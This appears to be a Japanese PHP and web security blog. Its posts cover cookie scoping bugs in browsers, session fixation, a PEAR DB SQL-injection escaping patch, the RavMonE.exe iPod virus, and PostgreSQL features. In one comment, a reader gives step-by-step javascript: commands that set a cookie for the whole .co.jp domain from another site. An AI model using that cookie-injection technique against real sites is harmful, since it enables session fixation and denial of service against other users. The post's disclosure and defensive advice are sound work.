PHP_INI_ENTRY("mbstring.detect_order", NULL, PHP_INI_ALL, OnUpdate_mbstring_detect_order)
PHP_INI_ENTRY("mbstring.http_input", "pass", PHP_INI_ALL, OnUpdate_mbstring_http_input)
PHP_INI_ENTRY("mbstring.http_output", "pass", PHP_INI_ALL, OnUpdate_mbstring_http_output)
1行パッチなので他のバージョンでも同じ場所を直せばOKです。パッチをすればmb_language()で言語設定を変更しmb_send_mail()で正しくメールが送信できるようになります。
1 コメント
誰も気が付かなかったとは思えないのですが.... バグレポートしましょう....
コメントを残す
httpOnlyをFirefoxで
リンク: https://addons.mozilla.org/firefox/3629/
PHP 5.2.0のsetcookie/setrawcookie関数からhttpOnly属性をクッキーにつける事ができるようになりました。httpOnly属性はMicrosoftが独自に拡張した仕様で、JavaScriptからクッキーの値を使用できなくする機能です。httpsでのみクッキーを送信するsecure属性に似ています。
Microsoftの独自拡張なのでIEでは利用できましたがFirefoxでは利用できません。しかし、アドオンを使用することでhttpOnly属性をFirefoxでも利用できるようです。
httpOnly
by Stefan EsserAdds httpOnly cookie support to Firefox by encrypting cookies marked as httpOnly on the browser side, so that JavaScript cannot read them.
Hardened PHP ProjectのSfefanさんが作者です。
XSSで自分のセッションを盗まれるリスクが低減できるのでお勧めのアドオンだと思います。
1 コメント
PHP 5.2.0からsession.cookie_httponly設定が追加されています。1に設定するとhttponly属性がセッションIDのクッキーに設定されます。PHP 5.2.0からsession_set_cookie_params()関数にもhttponly属性が追加されています。
コメントを残す
Firefox 2.0 ではおかしなクッキーの動作が一部だけ直っている模様
備考:名無しさんの指摘でタイトルを変更、一部本文を修正しました。(IEとFFの立場を入れ替えました)
少なくとも2006年1月ころのMozilla系ブラウザには簡単に設定できるべきでないクッキーが設定できてしまう問題がありました。最悪なのはco.jp等、ccTLDの属性ドメインに対してクッキーが設定できてしまう動作ですが、手元のFirefox 2.0で試したところHTTPのSet-Cookieヘッダではco.jpには設定できなくなっています。しかし、この修正が中途半端でJavaScriptからdocument.cookieにco.jpにクッキーを設定できてしまいます。(名無しさん、情報ありがとうございます)
example.co.jpとwww.example.co.jpに同じ名前のクッキーを設定するとexample.co.jpのクッキーが返ってきます。下位ドメインによるクッキーの上書きが出来ないのは従来どおりのようです。(複数のクッキー値がドメイン毎に設定される)明示的にwww.example.co.jpドメインからexample.co.jpドメインのクッキーを上書き/削除できるのも従来どおりのようです。host1.example.jpからhost2.example.jpのクッキーが設定できるのも従来どおりのようです。
# 上位ドメインのクッキーを設定できるのに同じレベルのドメイン
# クッキーが設定できなくてもあまり意味が無いです。
# PHPユーザの場合、my-server.hosting.jpの様なドメインを
# 持つサイトの場合、余計なクッキーの削除と外部からのセッ
# ションIDを受け入れないように注意が必要ということ意味し
# ます。
KHTML(Safari、Konqurer)は2004年くらいにこの問題(ccTLDのクッキー)には対応済みと思います。
IE6/7では今のFFと同じでほかの上位ドメイン等のクッキーの上書き/削除は同じ動作をするようです。
もう少し調査が必要ですが、とりあえずccTLDに関しては最新ブラウザを使っていれば大丈夫なようです。まだまだ最新ブラウザでも安心できないようです。
参考:
Multiple Browser Cookie Injection Vulnerabilities
Client Side State - HTTP Cookies
HTTP State Management Mechanism (RFC2109)
HTTP State Management Mechanism (RFC2965)
RFC2109(Cookie1)はNetscapeクッキーの後追い標準なので仕方ないですが
* A Set-Cookie from request-host y.x.foo.com for Domain=.foo.com
would be rejected, because H is y.x and contains a dot.* A Set-Cookie from request-host x.foo.com for Domain=.foo.com would
be accepted.* A Set-Cookie with Domain=.com or Domain=.com., will always be
rejected, because there is no embedded dot.* A Set-Cookie with Domain=ajax.com will be rejected because the
value for Domain does not begin with a dot.
と親ドメインへのクッキー設定は標準です。example.co.jpでco.jpにクッキーを設定できないとは書いてありません。
Cookie1の定義では
cookie = "Cookie:" cookie-version
1*((";" | ",") cookie-value)
cookie-value = NAME "=" VALUE [";" path] [";" domain]
cookie-version = "$Version" "=" value
NAME = attr
VALUE = value
path = "$Path" "=" value
domain = "$Domain" "=" value
とパスとドメイン情報を送信することになっていますが、IEもFirefoxも
Cookie: var=FOO;var=BAR\r\n
という感じでパスもドメイン情報も無しで、複数の値を送ってきます。IE,Firefox共に先に親ドメインの値を設定するようになっているようです。
パス設定が行われている場合は最適なクッキーから順番に書くようになっている
If multiple cookies satisfy the criteria above, they are ordered in
the Cookie header such that those with more specific Path attributes
precede those with less specific.
のですが、ドメインの方は
Ordering with respect to other attributes (e.g., Domain) is unspecified.
と未指定です。IE,Firefox共にここはRFC仕様と同じでパスが指定されているときは一致度が高いクッキーから順番に返し、ドメインは上位ドメインから順番に返してきます。
PHPの場合、先に設定された値が$_COOKIEに入るので複数のPATHが指定された場合は期待通りの動作をしますが、複数のDOMAINが指定された場合はホストのクッキーではなくドメインのクッキーが使われてしまいます。
このため余計なクッキーが設定されないようにクッキーを設定する場合、setcookie/setrawcookie関数のラッパーを書いてドメインのクッキーを削除してからクッキーを設定するようにしないと問題となる場合があります。
# セッションIDが設定されている事によるDoSやSessionIDの固定化を
# 防ぐにはsetcookie('PHPSESSID','',0,path,domain);
# 等とします。pathはパス、domainはドメインを指定する文字列。
どちらにしてもRFCに記述されている$Version, $Path, $Domainは無視しているのでIE,Firefox共にいわゆるOldクライアントとして動作していることになります。IE, Firefox共にSet-Cookie2:ヘッダは無視しています。Web黎明期の仕様はあまりセキュリティを考慮しておらず今でもその仕様に従わざるを得ないのは仕方ないです。下を見て比べても有意義ではありませんがSMTPよりはマシかな...
しかし、ドメイン指定で複数の値がある場合にホストと完全に一致したクッキーから順番に返してこないのはNetscapeの動作がそうなっていたからなのでしょう。コーディングした人は「順番なんてどちらでも良いや」くらいに思っていたと推測できます。(それともNetscapeクッキーの仕様では親ドメインのクッキー優先?)ドメイン、パスを明記するRFCのクッキー仕様通りならサーバ側で意図通りの値のみを使用する事も可能ですが、IE,Firefox共にパスやドメイン情報を返してきません。複数のパス、ドメインに一致するクッキーは
Cookie: var=v1;var=v2;var=v3;var=v4;
と、どれがどれだか全く判らない状態で値を返してきます。(パスだけ設定されている場合はパスの一致度が高い物から先に値が設定されます)当然ですがこの動作だとパスとドメインで一致度が高いクッキー値をサーバ側で判別不可能です... 自衛策としては上位ドメインで設定されたクッキーを明示的に削除するしかありません...
11 コメント
.com.tw
.gov.cn
のようにドメイン種別に3文字使っている国もあります。イギリスはもっとすごくてco.uk等以外に
.ltd.uk
.plc.uk
.sch.uk
.nhs.uk
.police.uk
.mod.uk
などが使用されているそうです。この場合でも大丈夫なのかな?多分考えてあるのでしょう。それともそういう国は無視?そのうち調べてみます。
さらに「.日本語」のようにTLDレベルでIDN(国際化ドメイン)が使えるようにしよう、との動きがありますがクッキーとかはどうするつもりなんでしょうね?近いうちに調べなければ... また宿題が増えました...
# ところで私はもう新しいTLDは不要・無用・有害
# だと思います。IDNや新しいTLDは不要・無用・有害
# でドメインレジストラと詐欺師を儲けさせるだけだ
# と思います。
IE6 のときから co.jp 等に cookie をセットできませんよ?
(第2レベルが2文字のときはセットできないようになっています。)
どういう方法で試されていますか?
試してみました。IE6だとco.jp等にクッキーは設定できないので本文を直しておきます。
確かfull-disclosureかどこかのMLで「ccTLDにクッキーが設定できるよ」とあったはずなのですくなくともその時点では設定できたのだと思います。探してみたらsecuriteamの
http://www.securiteam.com/securityreviews/5EP0L2KHFG.html
多分これでまだ直っていないと認識したと思います。そこで結構古いIE6SP2で試してみたらco.jpにクッキー設定はできないようです。
# 当時試したはずなので手順にはなんらかの間違いが
# あったのか記憶違いのどちらかだと思います(汗
手元のFirefoxは2.0なので試しにSeamonky 1.0/Gecko 20060130を使ってみたところexample.co.jpからco.jpにクッキー設定が出来ました。少なくとも同時期のFirefoxには同様の問題があったはずです。
と言うことでタイトルを変え本文を修正しました。コメントありがとうございました。
http://www.mozilla-japan.org/support/firefox/faq#spell-abbreviate
うーん、Firefox 2.0でも、.co.jp で有効なcookieをセットできてしまいますよ。
確認手順は以下の通り。
1. http://www.yahoo.co.jp/ にアクセスする。
2. アドレスバーに javascript:document.cookie="foo=bar;domain=.co.jp" と入力してリターンキーを押す。
3. http://www.google.co.jp/ に移動する。
4. アドレスバーに javascript:alert(document.cookie) と入力してリターンキーを押す。
5. foo=bar が表示される。
アドレスバーからJavaScriptを実行すると動作権限の関係で誤作動しているのかもしれないのでページにJavaScriptを埋め込んで試してみました。JavaScriptからの設定に対処していないのですね....
HTTPヘッダでSet-CookieするよりJavaScriptからクッキーを設定する方がやりやすい(攻撃しやすい)ですから、これでは対策として不十分過ぎです。
動作からいってどこか変だと思っていましたが、つつくといろいろ出てきそうですね。
> 細かいことですが、Firefoxの短縮形はFxです。公式サイトでもそれが望ましいとそれています。
面白い短縮表記を推奨しているのですね。短縮表記は分かり辛いので普通に表記するようにします。
結局全部危ないということかもしれませんね。
もしかしたらKHTML系が大丈夫とか?
どちらにしてもこの問題はccTLDの管理がドメインによってバラバラなことが原因なので、辞書による対応をしないといつまで経ってもダメ、という状態が続きそうです。
# 関連文書によるとOperaは辞書で対応しているっぽかった
# ですが.jpには対応していないということだったのかな?
上位ドメインのクッキー削除コードは当分消すことは出来なさそうですね。
コメントを残す
PHP 5.1/4.4用のセキュリティパッチ
リンク: http://wiki.ohgaki.net/index.php?PHP%2F%C0%C8%BC%E5%C0%AD%A5%EA%A5%B9%A5%C8%2FPHP5#content_1_2
PHP 5.2.0がリリースされていますが少なくとも2つ重要なセキュリティフィックスがあります。5.1/4.4ユーザが5.2.0にアップグレードするには時間が必要と思うのでWikiどのパッチが必要か書いておきました。PHP4はこちらです。
PHP4.4にはありませんがPHP5.1にはecalloc(メモリ確保関数)に整数オーバーフロー脆弱性があります。この脆弱性は随分前にPHP4で修正されたバグですがPHP5ブランチにマージされ忘れていた、という代物です。最も簡単に攻撃可能なケースはserializeされたPHP変数をフォームやURLに埋め込みそれをunserializeで処理しているケースです。
htmlspecialchars()/htmlentities()のヒープオーバーフローのPoCは見かけていませんがパッチを見ればどのような入力でオーバーフローするのか見る人が見れば直ぐ分かると思います。
フィードバックはまだありません...
コメントを残す
ログイン後にsession_regenerate_id()を実行するだけで十分か?
忙し過ぎてタイムリーにブログが書けないです。最近セッション管理の問題が一部で話題になっていました。そこの中に以下のような議論がありました。
ログイン後にsession_regenerate_id()を実行すれば外部からのセッションIDを受け入れても安全
確かにログイン後のセッションIDは本来セッションIDが持つべき属性
- 一意な値であること
- 第三者に予測不可能であること
を持っています。
しかし、ログイン後にセッションIDを再生成するだけでは不十分な場合は2つ直ぐに思いつきます。
- CSRF(XSRF)防御にセッションID(だけ)を利用している場合
- 外部に出力したデータの改ざん防止にセッションID(だけ)を利用している場合
これらの仕組みはログイン後にのみ利用する機能ではありません。フォーム送信は認証無しで行うことは多いです。ウィザード型の入力フォーム(検証済みの前のページの入力値を次ページに保存する方法が最も柔軟な処理方法)も認証前に使用されます。
私はCSRF(XSRF)防御にはフォームに予測不可な一意なIDを割り当てる方式を、検証済みデータの改ざん防止にはセッションID+マジック文字列(予測できない秘密の文字列)を利用しています。CSRF(XSRF)対策には影響ないですし、セッションIDを利用してセキュリティを維持する仕組みであっても必ずマジック文字列を使用しているので危険な状態にはなりません。しかし、全てのアプリケーションがこのような対策を取っているとは思えないので外部からのセッションIDを受け付けない厳格なセッションID管理を導入するのはセキュリティ上意味があります。
ほとんどのアプリケーションはログイン後にsession_regenerat_id()を実行するだけで十分な安全性を確保することが可能ですが一部のアプリケーションはそれでは不十分であることは知っておいたほうが良いと思います。
追記:2001年からウィザード型フォームで前のページのデータを安全に保存するため等に利用できる関数をZendのコードギャラリに載せています。ウィザード型フォームはこのような関数を使用し検証済みの値のメッセージダイジェストを取っておけと繰り返し入力値を検証する必要性がなくなります。
4 コメント
どの辺りで折り合いつけるかは難しい。
サイトのドメイン名によるのでしょうが。
つまり意図的に設定されたIDでのセッションは偶然IDが一致しない限り同じセッションは盗めません。ただし、アプリケーションが対応していないとセッションが開始できないのでDoSは可能になります。
昔、TLDがcom, net, org, edu, milくらいだった頃を想定してブラウザの仕様が決まっている&下位ドメインが設定したクッキーを無視して上位ドメインのクッキーを送る、という状態が悪いのです。明らかにセキュリティ上問題な仕様なのですけど随分長いあいだ放置されています...
# この問題、修正される前に攻撃用のための知識が
# 広がりすぎるとDoSやセッションハイジャックが
# 横行しそうなので静かにしておいたほうが良い
# ような気が....
# とりあえずccTLDユーザ、共有サーバユーザでサ
# ブドメインだけ違うユーザは要注意、とここに書
# いても効果薄いですよね....
# SESSIONモジュール用のmore strict session patchでも
# 書くかな...
# setcookie('PHPSESSID','',0, '/', 'co.jp');
# と同等コードを付けるだけなので。
> いくらセッションIDを設定できてもクライアント側で
> 設定したセッションIDではセッションは開始されません。
そんなことありません。攻撃者がサーバから有効なセッションIDを取得して、それを被害者のブラウザに設定するのです。そのシナリオが session fixation の基本形ですよ。
コメントを残す
Google Source Code Bug Finder
リンク: http://www.cipher.org.uk/projects/bugle/BugleAutomated.php
Google Source Codeで自動的にバグ(らしきもの)を見つけるページ
http://www.cipher.org.uk/projects/bugle/BugleAutomated.php
古いコードも一緒に検索されたりしますが「Package Name」オープンソースのプロジェクト名(ソースのtar玉のパッケージ名の部分など)を入力すると自動で怪しいコード見つけてきてくれます。
フィードバックはまだありません...
コメントを残す
RavMonE.exe付きVideo iPod
リンク: http://www.apple.com/support/windowsvirus/
なんとなくMacつながりでウィルス付きMP3プレイヤーの次はウィルス付き(RavMonE.exeは感染型Adwareだそうです)Video iPodが出荷されていたそうです。
http://www.wagang.jp/blog/logdata/eid64.html によると
RavMonE.exeウイルス。こいつに感染すると、リムーバブルディスクのアイコンがダブルクリックで開かなくなり、アクセス速度が遅くなったりします。実害はそれだけ。でも、凄くウザイ。
で、これがまたヘンなウイルスみたいですねえ。このページでは、传染性杀毒软件、すなわち「伝染性アンチウイルスソフト」と称しています。なんでも、中国国産アンチウイルスソフト、瑞星殺毒の自動監視をONにしてると、リムーバブルディスクが監視対象になってRavMonE.exeが自動でコピーされ、ダブルクリック時にエクスプローラを開かずにRavMonE.exeを実行するようにレジストリが書き換えられる、そのEXEファイルと設定が、当該リムバディスクを繋いだ他のパソコンにも連鎖的にコピーされていく、ってことみたいです。
と記述されています。アンチウィルスソフト(瑞星殺毒)の自動監視機能で感染?というのはよく分からないですがミイラ取りがミイラになった、ということなのでしょう。RavMonE.exeでぐぐると中国語のサイトがかなりヒットします。Appleの書き方だと「こんなウィルスに脆弱なWindowsが悪い」などと書いているので瑞星殺毒の自動監視をONにしていなくても感染するようにも思えます。いずれにせよ実行すれば同じことなのでRavMonE.exeがiPodに入っていたら実行しないことが重要と思います。信頼できると思われる製品にexeファイルが入っていたら普通、実行してしまうとは思いますが..
We recently discovered that a small number - less than 1% - of the Video iPods available for purchase after September 12, 2006, left our contract manufacturer carrying the Windows RavMonE.exe virus.
2006年9月12日以降に購入したVideo iPodに影響があるようです。どこの地域に出荷されたiPodが対象になるのか分かっていれば記載した方が親切と思います。誰かが意図的に添付したのか事故で入ったのかどうなのか分かりませんが一般的なアンチウィルスソフト(Norton AntiVirus、McAfeeなど)で検出&修復できるようです。iPod nano and iPod shuffle には影響ないようです。
we are upset at Windows for not being more hardy against such viruses
一応ウィルスを検出できなかった自分たちにも腹が立つがこのようなウィルスに簡単に感染するようなWindowsに腹が立っているのだそうです。この一文は余計なお世話なような.. Apple製のソフトウェアにも脆弱性はありますから。しかも、自動感染するのは瑞星殺毒の脆弱性のようにも読み取れるのですがどうなんでしょう?
http://www.wagang.jp/blog/logdata/eid64.html には
当該リムバディスクを繋いだ他のパソコンにも連鎖的にコピーされていく
とあるのでやはり一旦感染するとどんどん感染していくのでしょうか?だとすると「瑞星殺毒の自動監視をON」しているかどうか関係なく「Windowsの脆弱性」が問題となると思います。未修正のWindowsの脆弱性が原因なら、同じ脆弱性を利用した未知のマルウェアが無いとも限りません。他人のUSBメモリをさすのは非常に危険ということになります。実際のところはどうなのか気になるところです。
# 中国語が読めればもう少し情報が得られそうですが読めません。
- 「瑞星殺毒の自動監視をON」-> 自動実行設定なしにRavMonE.exeに感染
- RavMonE.exeに感染したPCは接続されたメモリ等に自動実行設定行う -> Windowsの自動実行機能によりRavMonE.exeに感染
となって自動実行機能の問題ということかな?読み込み専用メディアでさえ自動実行機能のリスクは高く自分が使うPCはこの機能をOFFにしています。もしかして書き換え可能なメディアでもautorun.infを使うと自動実行できると言う事?(時間もないので試してません。もしそうだとしたらかなり悪い仕様ですね..「we are upset at Windows」と言うのも理解できる.. 時間ができたら試してみよう)
F-SECUREのブログでこの問題に気が付いたのですがここで検索してみてもRavMonE.exeでは情報は見つかりませんでした。他のサイトによると7月くらいには見つかったマルウェアらしいのでメジャーなアンチウィルスソフトには入っているようです。探し方が悪かったのかSymantecのサイトでも何も見つかりませんでした。
追記:USB接続したメディア内の“autorun.inf”を自動実行できる「APO Usb autorun」の様なユーティリティがあるのですね。やはりデフォルトでUSBメモリ内のautorun.infを実行するような馬鹿な事はしていなかったようです。であれば別の方法で感染するということなのか、単純にEXEファイルだけをコピーするのかどちらなんでしょう。
http://prism-project.sakura.ne.jp/usb_memory/usbmmain2.html によると
上の表の通りUSBメモリでは自動実行ファイルであるautorun.infを入れた場合アイコンの変更はできてもファイルの実行はできないという事です。従ってUSBメモリにランチャー等を入れてautorun.infで実行ファイルに指定してもランチャーは自動起動せず動作の選択画面が出るという事です。
とあります。当然の仕様だと思います。USBメモリをさすと勝手にプログラムが実行されるようでは昔のFDDのブートセクタウィルス状態になります。iPodの件はPCがRavMonE.exeに感染しiPodを検査した際に勝手にコピーされたということだったと思われます。Windowsの脆弱性ではなくアンチウィルスソフトの脆弱性で自動感染するようなので「we are upset at Windows」の意味がよく分からない.. MacOS Xの場合はソフトをインストール場合に管理者パスワードが要求されることがありますが、Windowsでは普通は「管理者権限」を持つアカウントでないと「使えない」情況にあることを指して「we are upset at Windows」ということなのかも知れません。ネットにはUSBの場合でも自動実行できてしまう(USBでも自動再生機能で再生するアプリケーションは選択できますが自動でプログラムは実行できない模様。自動実行と自動再生には大きな違いがあります)と勘違いして記載されているページもあるようです。これが「we are upset at Windows」の理由なのかも?!
ちなみに自動再生機能を無効にするにはSHIFTキーを押しながらドライブを開きます。Tweak UIにも自動再生の設定項目があります。
フィードバックはまだありません...
コメントを残す
サポート期限切れの製品 - Webサイトで警告を出すのが良いかも?
今月のWindows UpdateでWindows XP SP1用の最後のアップデートだったそうです。SP2にしないとパッチ無しになります。Windows XP SP2以上でないとインターネットに接続してはならないPCということになります。(Windows 95/98/ME等は問題外)大多数のユーザはSP2にしているとは思います。しかし、古いOSやアプリケーションをそのまま使い続けている方も多くいるはずでそういったPCがボット化していくのだと思うと困ったものです。
このブログの場合、
- Windows利用者の中でWindows 95/98/Meを利用されている方は約1%
- IEでアクセスされている方の約1%がIE5.x以下ブラウザを利用(IE5.x以下は全てサポート期限が切れています)
- Firefoxでもセキュリティホールがある古いバージョンを利用されている方が5%程
といった感じです。(Google Analyticsの統計情報より)
# ブラウザ全体の内訳はおおよそIE64%、FF28%、その他ブラウザ8%です。
# 一般的サイトに比べるとかなりFF、その他ブラウザが多いです。
そこで「このサイトを見るにはIE5.5以上、Firefox1.0以上で快適にご覧いただけます」と記述しているページを設けているサイトは多いです。少なくともこのページに「20XX年X月XX日時点の情報によると、あなたのOS(ユーザのOSとバージョン)、ブラウザ(ユーザのブラウザとバージョン)には既知の脆弱性があります。早急にアップグレードお勧めします」と記載してはどうでしょうか?メーカーの問い合わせ先URLなどを記載していてもサイトに問い合わせするユーザがいて困るかも知れないので尻込みしそうですが、こうすれば少しはアップグレードのモチベーションが上がるかもしれません。
以下のページにWindows関連のサポート期限がまとめられています。
http://www.st.ryukoku.ac.jp/~kjm/ms-windows/support.html
エンドユーザは意外にこういった情報を知りません。本来はメーカーのホームページの簡単にアクセスできるところにこういった情報が載っているべきと思います。
フィードバックはまだありません...
コメントを残す
IE7は自動更新
ついに最終版IE7 (RC1)がリリースだそうです。もしかしたらRC2くらいまでは出るのかも知れませんが、IEブログを見ると今月には出るよと書いてもあります。RC1で特に大問題が無ければリリースするつもりなのでしょう。特にコンポーネントとして使っていたりActiveXを使っているユーザは動作検証の必要性が高いと思います。
IE7ダウンロード:
http://www.microsoft.com/japan/windows/ie/downloads/default.mspx
IE7概要:
http://www.microsoft.com/japan/windows/ie/ie7/about/default.mspx
タブがこのように一覧できるのは便利です。このイメージでは分かりませんが英文字だけアンチエイリアスがかかっていてぼけて見えるのは好きになれません。個人的にはアンチエイリアスがかかり過ぎたテキストは非常に読みづらく感じます。
正式版は自動更新となるらしいのでかなり数のユーザがIE7に乗り換える事になります。いっそのこと「IE7しかサポートしません。全ユーザ乗り換えてね」の方がありがたい...
ときどき見かけるのですがセッション変数にフォーム状態を記録しているアプリケーションがあります。フォーム状態をセッション変数として保存すると同時にページを開いた作業が行えなくなったり、おかしな状態になったりします。Webアプリケーションとして「同時に1ページしか開かない」といった前提は設けるべきでないでしょう。IE7はタブブラウザなのでこのようなWebアプリケーションは修正が必要になってくると思います。
# 複数のIEを立ち上げれば同じことですがマルチタスク(死語ですね)を
# 無視したアプリケーション設計の典型的な例です。そういうサイトでは
# WCAGで「使わないように」と言われている「新規ウィンドウでリンクを
# 開く」機能を頻繁に使っていたりします。矛盾しているとは思わない
# ませんか?
不適切なアプリケーション設計と言えばブラウザの「戻るボタン」を利用できないWebアプリケーションも比較的頻繁に見かけます。ウィザード型のインターフェースを持つフォーム状態を維持するためにアプリケーションの戻るボタンを利用しないとエラーになるWebアプリケーションがあります。CSRF対策の意味もあるのかも知れませんが、ブラウザの戻るボタン機能を無効にする対策が優れているとは思えません。不必要に利便性を義性にしている(ブラウザの戻るを押しら前の入力が全て無効になる)と言われても仕方ないと思います。CSRF対策なら別の方法を利用すべきですし、戻るボタンを押されたら前に入力されたデータの完全性が保証できないのであれば手抜きをしているか不適切なアプリケーション設計が原因と思われます。この手のサイトは「同時に1ページしか開かない」を前提にしている事も多いのでついでにこれらの不適切な設計も直してほしいです。私もチケット予約に利用している某サイトはこの手のサイトです... そして2回に1回はマウスの戻るボタンを押してやり直しているような気がします。
タブブラウザが当たり前になることで「1クライアント=1ページ」を前提とすることは非常識な設計になれば良いと思います。ついでにブラウザの「戻るボタン」が使えないサイトも非常識な設計になれば助かります。
1 コメント
# 事前に規約への同意チェックボックスへのチェックが
# 必要なので実際には簡単にCSRF攻撃が可能でないと思
# います。
私はこの仕様を見て「サイト全体として大丈夫なのかな」と少し心配になりました。
コメントを残す
新しいWiki - QEDWiki
リンク: http://files.zend.com/qedwiki/
リンクをクリックするとデモが見れます。久しぶりにZendFrameworkのホームページを見てこのデモがある事に気が付きました。
IBMの方がZendFrameworkを利用して作っているらしいです。AJAXはもちろんですが、Wikiコマンドと言うシンプルな言語でいろいろ拡張できるようになっている様です。ドラッグアンドドロップで設定するGoogleマップと天気予報の連携のデモがあります。UIのほとんどはDojoを使っているのだと思われます。(ソースか実物を見ないと分かりませんが)
確かに便利そうにも見えますがWikiコマンドには括弧が多すぎな気もします。Lisp好きな方がデザインしたのかも知れませんね。
フィードバックはまだありません...
コメントを残す
PostgreSQL 8.2 Beta
リンク: http://developer.postgresql.org/pgdocs/postgres/release-8-2.html
PostgreSQL 8.2のリリースノートは非常に長いのですがアプリケーションプログラマのコーディングスタイルに大きく影響するのは次の変更(追加)だと思います。
Add INSERT/UPDATE/DELETE RETURNING (Jonah Harris, Tom)
This allows these commands to return values, such as the computed serial key for a new row. In the UPDATE case, values from the updated version of the row are returned.
MySQL等で挿入後のID番号が取得できる機能がPostgreSQLでも作れるようになりました。
create table test (
id serial,
msg text,primary(id)
)
としてidフィールドの値が何になったのか分からないと困る場合が多かったので
create table test (
id int8,
msg text,primary(id)
)
としてsequenceの次の値を取得してidにセットしていたと思います。今後はより気軽に
INSERT INTO test(msg) VALUES ('abc') RETURNING *;
として挿入後のデータが参照できるようです。
Ruleやストアドプロシージャでデータを加工している場合にも便利ですね。
PostgreSQLの場合、6.xのころからRuleを使うと比較的簡単に全ての変更をログできるのですが、この機能を使えばアプリケーション側でデータのログを取るコードが簡略化できます。データベースレベルではアプリケーションを操作しているユーザIDが分からない場合が多いので便利になります。
2 コメント
RETURNINGが使えるようになると余分なselectの発行が必要なくなり便利ですね。
コメントを残す
PostgreSQLに関する間違い情報
リンク: http://itpro.nikkeibp.co.jp/article/COLUMN/20060328/233487/
PostgreSQL 8.0は2005年1月にリリースされました。SAVEPOINTは8.0からサポートされている機能ですが、2006年4月の記事で「サポートしていない」と間違った情報が記載されているページを見つけました。
ロールバックはトランザクションの開始処理まで戻るのが基本であるが,「セーブポイント」機能を利用すれば部分的な処理の取り消しが可能になる。図4[拡大表示]上に示したようにトランザクションの中に「SAVEPOINT(セーブポイント名)」を設定し,「ROLLBACK TO(セーブポイント名)」とすれば,ROLLBACKからSAVEPOINT間の処理を取り消すことができる。1つのトランザクションには複数のセーブポイントが設定可能である。セーブポイント機能はOracleにはあるがPostgreSQLには無い
しかし、よく見ると
出典:日経オープンシステム 2003年2月号 142ページより
(記事は執筆時の情報に基づいており,現在では異なる場合があります)
とあり書いた時点では正しい情報です。3年も経つとかなり変わりますから技術記事の再利用は難しいですね。この記事は新人対象のようですがこれを読むとそのまま信じてしまいそうです。
フィードバックはまだありません...
コメントを残す
RSSリーダへのインジェクション
少し前にセキュリティ系のMLに「RSSにインジェクション」と言う話題があったのですが実際に調べるとインジェクション出来てしまう物が結構あるようですね。全て使った事が無いものばかりですが
- Ykoon RssReader CVE-2006-4762
- SharpReader CVE-2006-4761
- RSSOwl CVE-2006-4760
等があるようです...
RSSOwlはJavaアプリケーションのようですね。リンクをクリックしてブラウザを立ち上げるとJavaScriptが実行されて... と言った攻撃方法なので信頼できるサイトのフィードなら大丈夫ですが、MLやブログコメント等のフィードは危険性が高くなります。
ところで、Firefox, Thunderbirdのアップグレードでてますね。
MFSA 2006-64 Crashes with evidence of memory corruption (rv:1.8.0.7)
MFSA 2006-62 Popup-blocker cross-site scripting (XSS)
MFSA 2006-61 Frame spoofing using document.open()
MFSA 2006-60 RSA Signature Forgery
MFSA 2006-59 Concurrency-related vulnerability
MFSA 2006-58 Auto-Update compromise through DNS and SSL spoofing
MFSA 2006-57 JavaScript Regular Expression Heap Corruption
ブラウザ関係ではFlashplayerのクリティカルなアップデートも出ています。私はこれを機会にWindowsはFlash Player9にしました。
# Linux、Solaris用のFlash Player 7はアップグレード版があるようですね。
# Zero3 esのFlash Player 7などはどうしろと言うこと...
Flash Player 8 update (8.0.33.0), and Flash Player 7 update (7.0.66.0 or 7.0.68.0) address security vulnerabilities in previous versions of Flash Player. Updated versions of Flash Player 7 for Linux and Solaris, which contain fixes for these vulnerabilities, are also available from the Adobe Player Download Center.
http://www.adobe.com/support/security/bulletins/apsb06-11.html
フィードバックはまだありません...
コメントを残す
PEAR DBのPostgreSQLドライバにセキュリティホール
この脆弱性は本家にはレポートしてあるのですが簡単な1行パッチなのにまだCVSにさえ適用されていません。詳しく解説したつもりなのですがシングルバイト圏の開発者には理解が難しい(?)か私の説明が悪かった(?)のかも知れません。とりあえず「作業中」との旨のメールが帰って来ていますが遅すぎなので特に影響が大きいと思われる日本のサイト向けとして問題の概要と対処方法を書いておきます。
文字エンコーディングを利用したSQLインジェクションに詳しい方ならどのような条件でSQLインジェクションが可能になるか簡単に分かります。addslashesやstr_replaceによるエスケープが危険であることは広く知られている既知の問題といえると思います。英語で記述されたブログ等にもエンコーディングとエスケープの問題を取り扱ってるページもあります。あまり長期間放置していると近い将来悪用される危険性があります。
このパッチを有効に利用するには使用しているPostgreSQLサーバのバージョンに関わらず、PostgreSQL 8.1.4以降のlibpqを利用してPHPのPostgreSQLモジュールをビルドする必要があります。
# これはPostgreSQL 8.1.4以降のlibpqを利用しなければならいない
# 点はPEAR DB/PHPに限らず、PostgreSQLアプリケーション全般として
# いえます。
[yohgaki@dev pear]$ cat DB/DB/DB_pgsql.php.patch
Index: pgsql.php
===================================================================
RCS file: /repository/pear/DB/DB/pgsql.php,v
retrieving revision 1.129
diff -u -r1.129 pgsql.php
--- pgsql.php 10 Jun 2005 14:31:45 -0000 1.129
+++ pgsql.php 17 Aug 2006 09:34:16 -0000
@@ -531,7 +531,7 @@
*/
function escapeSimple($str)
{
- return str_replace("'", "''", str_replace('\\', '\\\\', $str));
+ return pg_escape_string($str);
}// }}}
他のDBアクセス抽象化ライブラリにも同じ脆弱性がある可能性が高いと思われます。パッチ自体は簡単なのでDBアクセスアクセスの抽象化ライブラリを利用されている方は一度調べた方が良いと思います。
3 コメント
「(SQLインジェクションが)再現できないのでHEXで問題となる文字列を送って」
といった内容でした。やはりピンとこなかったようです。
ボランティアベースのOSSでは時間がかかってしまう場合もありますから。私自身、遅い、などと人のことは言えませんし...
コメントを残す
「はじめてPHP言語プログラミング」に新しいコメント
リンク: http://www.amazon.co.jp/exec/obidos/ASIN/4774122866/yohgakiswiki-22
本書はPHPプログラミング「入門」と銘打っている。しかし、たとえば値渡し・参照渡しといった重要事項が、ごく簡単にしか説明されていない。これでは、全くのプログラミングの素人にはきついのではないか。逆に、CやPerlなどをかじったことがある人であれば、簡潔でいいのかもしれないが…。
また、具体的な関数・メソッドの索引はほとんど省かれている。だから、実際にプログラムを書くためには、他のマニュアルで確認する必要がある。とはいえ、公式サイトのマニュアルが日本語版も充実しているからそれを読めばいいのだが、巻末の索引だけで事足りないのは不満。
技術書には
- チュートリアル
- リファレンス
- 解説書
の3種類があると考えています。私としては「入門書 != チュートリアル」「入門書 != リファレンス」であり基本的には「入門書 == 解説書」だと思っています。
